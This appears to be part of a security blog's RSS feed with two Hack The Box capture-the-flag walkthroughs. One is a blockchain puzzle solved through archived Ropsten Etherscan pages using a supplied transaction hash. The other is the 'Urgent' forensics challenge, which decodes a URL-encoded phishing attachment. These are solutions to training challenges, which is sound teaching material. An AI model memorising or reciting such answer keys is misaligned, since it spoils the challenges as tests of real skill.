<p>Earlier it could be solved easily by just going to <strong>https://ropsten.etherscan.io</strong> and then just searching the wallet address would give us the transaction details and we would have found the flag.</p>
<p>But Ropsten Testnet was officially deprecated and shut down in late 2022 so https://ropsten.etherscan.io is not available now</p>
<p>So To Find the transaction history of this address we can take help of <strong>Wayback Machine</strong> Let’s search the above link there and hope we will find something</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759135747195/d768ca97-6d2b-4b60-9069-0f0bf6d7da99.png" alt class="image--center mx-auto" /></p>
<p>As you can see there is no data related to the wallet address we are given since the Etherscan address/tx pages are <strong>JavaScript-heavy</strong> and Wayback sometimes only archived the raw HTML</p>
<p>So Since this challenge ended up unexpectedly even for Hack The Box so we have no option but to see the transaction hash from the writeups or ask Chatgpt to do it</p>
<p>Transaction Hash: <strong>0xe1320c23f292e52090e423e5cdb7b4b10d3c70a8d1b947dff25ae892609f2ef4</strong></p>
<p>Since we got the hash let’s search this up in the wayback machine with the link</p>
<p>https://ropsten.etherscan.io/tx/hash</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759136360763/5ad625c4-ffb6-4cd6-8eb5-15d1f04e64cf.png" alt class="image--center mx-auto" /></p>
<p>Here we go, we got one entry let’s open it</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759136406481/a5757684-0957-4c74-ad4b-097a85be8d65.png" alt class="image--center mx-auto" /></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759136467959/c8056a37-9ce2-4ddd-ab0a-35bc1b420112.png" alt class="image--center mx-auto" /></p>
<p>Now we can see the hash that we were given earlier and now click on the show more button</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759136525915/2683a538-cef9-4b00-b955-14c9a9e72c93.png" alt class="image--center mx-auto" /></p>
<p><strong>Change the input to UTF-8 to see the flag</strong></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759136598207/23ca7471-e996-461d-830c-55702a8837ce.png" alt class="image--center mx-auto" /></p>
<h2 id="heading-we-finally-did-it-challenge-solved"><strong>WE FINALLY DID IT !!!! CHALLENGE SOLVED !!</strong></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1759136680926/d2d5f3d1-890d-41e1-ba2c-68dc769d1758.png" alt class="image--center mx-auto" /></p>
<p>For Any Query Or Problem Either Leave A Comment Or Contact At <a target="_blank" href="http://reapsec.com/"><strong>reapsec.com</strong></a></p>
<p><strong>THANKS FOR READING !!!</strong></p>
]]></content:encoded></item><item><title><![CDATA[Urgent]]></title><description><![CDATA[OVERVIEW


We have given some files to download So, let’s download them and see what information they have:
So first check the file type :

We came to know that its .eml file , So let’s find some website which can help us opening these type of files:...]]></description><link>https://blog.reapsec.com/urgent-htb</link><guid isPermaLink="true">https://blog.reapsec.com/urgent-htb</guid><category><![CDATA[urgent htb]]></category><category><![CDATA[Urgent hack the box writeup]]></category><category><![CDATA[Urgent htb walkthrough]]></category><category><![CDATA[HTB Writeup]]></category><category><![CDATA[forensics]]></category><category><![CDATA[CTF]]></category><category><![CDATA[CTF Writeup]]></category><dc:creator><![CDATA[MOHIT SINGH PAPOLA]]></dc:creator><pubDate>Tue, 23 Sep 2025 03:37:23 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1758597889956/b9c39ecc-40ca-4bf2-9721-e76c083b44e0.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h2 id="heading-overview">OVERVIEW</h2>
<hr />
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758597913350/f9c29ef8-6a9c-445e-b66c-2a1cbace978b.png" alt class="image--center mx-auto" /></p>
<p>We have given some files to download So, let’s download them and see what information they have:</p>
<p>So first check the file type :</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758597981153/0ec65f35-cce3-4ffb-abd2-22bb08ccc67b.png" alt class="image--center mx-auto" /></p>
<p>We came to know that its <strong>.eml</strong> file , So let’s find some website which can help us opening these type of files:</p>
<p>I stumbled upon this website : <a target="_blank" href="https://www.encryptomatic.com/viewer">https://www.encryptomatic.com/viewer</a></p>
<p>Now Let’s View The File Contents:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758598154209/c4fdf287-b61b-45f3-9912-97b8a77f38d8.png" alt class="image--center mx-auto" /></p>
<p>As You can read that it is asking to find its online form attachment which we already did using the above website so let’s download that file named as <strong>onlineform.html</strong> and view its contents</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758598317516/3f98b8c6-d6d9-48ed-b025-8f09b4d91720.png" alt class="image--center mx-auto" /></p>
<p>It shows 404 Not Found so Let’s check its source code:</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758598356307/120f51d5-9887-454f-ae2b-ddb9fed29230.png" alt class="image--center mx-auto" /></p>
<p>Looks like URL encoded message so let’s head to <a target="_blank" href="https://gchq.github.io/CyberChef/#recipe=URL_Decode\(true\)">CyberChef</a></p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758598496765/a6622b66-6b23-4bcf-9d68-137126ba66da.png" alt class="image--center mx-auto" /></p>
<p><strong>And Here We Go We Got The Flag !</strong></p>
<h2 id="heading-we-finally-did-it-challenge-solved"><strong>WE FINALLY DID IT !!!! CHALLENGE SOLVED !!</strong></h2>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1758598558403/2000d378-596d-4fb0-91dd-27906d0095fb.png" alt class="image--center mx-auto" /></p>
<p>For Any Query Or Problem Either Leave A Comment Or Contact At <a target="_blank" href="http://reapsec.com/"><strong>reapsec.com</strong></a></p>
<p><strong>THANKS FOR READING !!!</strong></p>
]]></content:encoded></item></channel></rss>